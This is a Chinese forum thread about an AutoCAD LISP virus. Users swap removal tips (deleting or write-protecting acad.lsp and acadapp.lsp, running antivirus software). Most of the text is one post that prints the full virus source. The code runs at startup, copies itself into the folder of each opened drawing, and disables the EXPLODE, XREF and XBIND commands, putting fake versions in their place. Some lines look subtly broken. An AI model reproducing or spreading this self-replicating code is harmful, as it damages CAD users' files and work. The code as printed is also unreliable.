[原创]LSP病 毒???

tcsl9621

这个病毒很讨厌。

lk_mbf

我遇过这种情况，只要将acad.lsp，acadapp.lsp两个文件里的源码删除，再将它们改成只读属性，或者索性彻底给它删了，就解决了！

yuncai11

hehe


没想到要学习好LISP还要先学会看病毒的哦

david96007

我把代码整理过了，大家好好学习，但不要搞破坏！ (defun s::startup (/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (subst path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path1 "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn
(while
(setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if
(and (= acadpath dwgpath)
(/= acadpath path)
)
(progn
(setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp")
)
(if (= lspbj 0)
(progn
(setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadapp" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn
(setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "explode")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if
(setq wjm1 (open newacad "w"))
(progn
(setq wjm (open oldacad "r"))
(while
(setq wz (read-line wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
(defun C:explode (/ p cont old_cmd)
(setq
old_cmd (getvar "cmdecho")
)
(setvar "cmdecho" 0)
(setq p (ssget))
(if
p
(progn
(setq cont (sslength p))
(princ "\nSeltctobjects:")
(princ cont)
(princ "found")
(princ "\n")
(princ cont)
(princ "was not able to be explode")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xref (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----将图块中的文字炸开后成为实体")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)

sztk2001

奇怪，我还一直没有碰到这种情况，看来得注意啦

lk_mbf

有一个专用程序可以查找并删除你电脑里所有的LISP病毒,很好用!

ctxt1234

瑞星2004版的，可以杀这个病毒！！！！！！！！！我刚杀过，，不错。

ctxt1234

用瑞星2004升级版可以杀之！！！！

yinheng

我也碰道了这样的问题，那里下载这个软件能不能留个URL 或发我的邮箱yinheng110@163.com急需！！！！

ctxt1234

用瑞星可以杀之！！！！！